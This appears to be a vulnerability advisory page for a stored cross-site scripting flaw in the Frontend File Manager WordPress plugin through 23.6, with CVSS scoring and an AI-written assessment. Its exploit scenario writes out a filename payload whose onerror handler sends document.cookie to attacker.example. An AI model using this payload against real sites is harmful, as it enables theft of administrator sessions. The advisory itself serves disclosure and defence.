EUVD-2026-38419
GHSA-v62r-5pwf-6945
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
PR:L confirmed by subscriber-level requirement; UI:R because admin must view listing; S:C reflects cross-context execution in admin session; no availability impact.
Primary rating from Vendor (WPScan).
CVSS VectorVendor: WPScan
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
4DescriptionCVE.org
The Frontend File Manager Plugin WordPress plugin through 23.6 does not sanitise nor escape a filename submitted to the frontend file-rename endpoint before storing it as post meta and rendering it back on the admin File Manager listing, leading to a Stored Cross-Site Scripting vulnerability exploitable by users with Subscriber-level access and above against an administrator viewing the file management interface.
AnalysisAI
Stored Cross-Site Scripting in the Frontend File Manager Plugin for WordPress (versions through 23.6) allows any authenticated subscriber-level user to compromise administrator sessions by injecting malicious script payloads via the frontend file-rename endpoint. The unsanitized filename is persisted as post meta and subsequently rendered unescaped within the WordPress admin File Manager listing, triggering execution whenever an administrator views that interface. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the attacker to hold at minimum a Subscriber-level WordPress account on the target site (PR:L per CVSS vector); sites with open user registration are therefore more broadly exposed than invitation-only or closed-registration installations. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 base score of 5.4 (Medium) with vector AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N accurately reflects the attack dynamics: low attack complexity, requiring only subscriber-level authentication and passive admin interaction. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker registers or uses an existing subscriber-level WordPress account on the target site and submits a filename such as '><img src=x onerror=fetch(`https://attacker.example/steal?c=`+document.cookie)> to the frontend file-rename endpoint. The payload is stored in post meta without sanitization. … |
| Remediation | No vendor-released patch identified at time of analysis - no fixed version appears in available intelligence sources. … Detailed patch versions, workarounds, and compensating controls in full report. |
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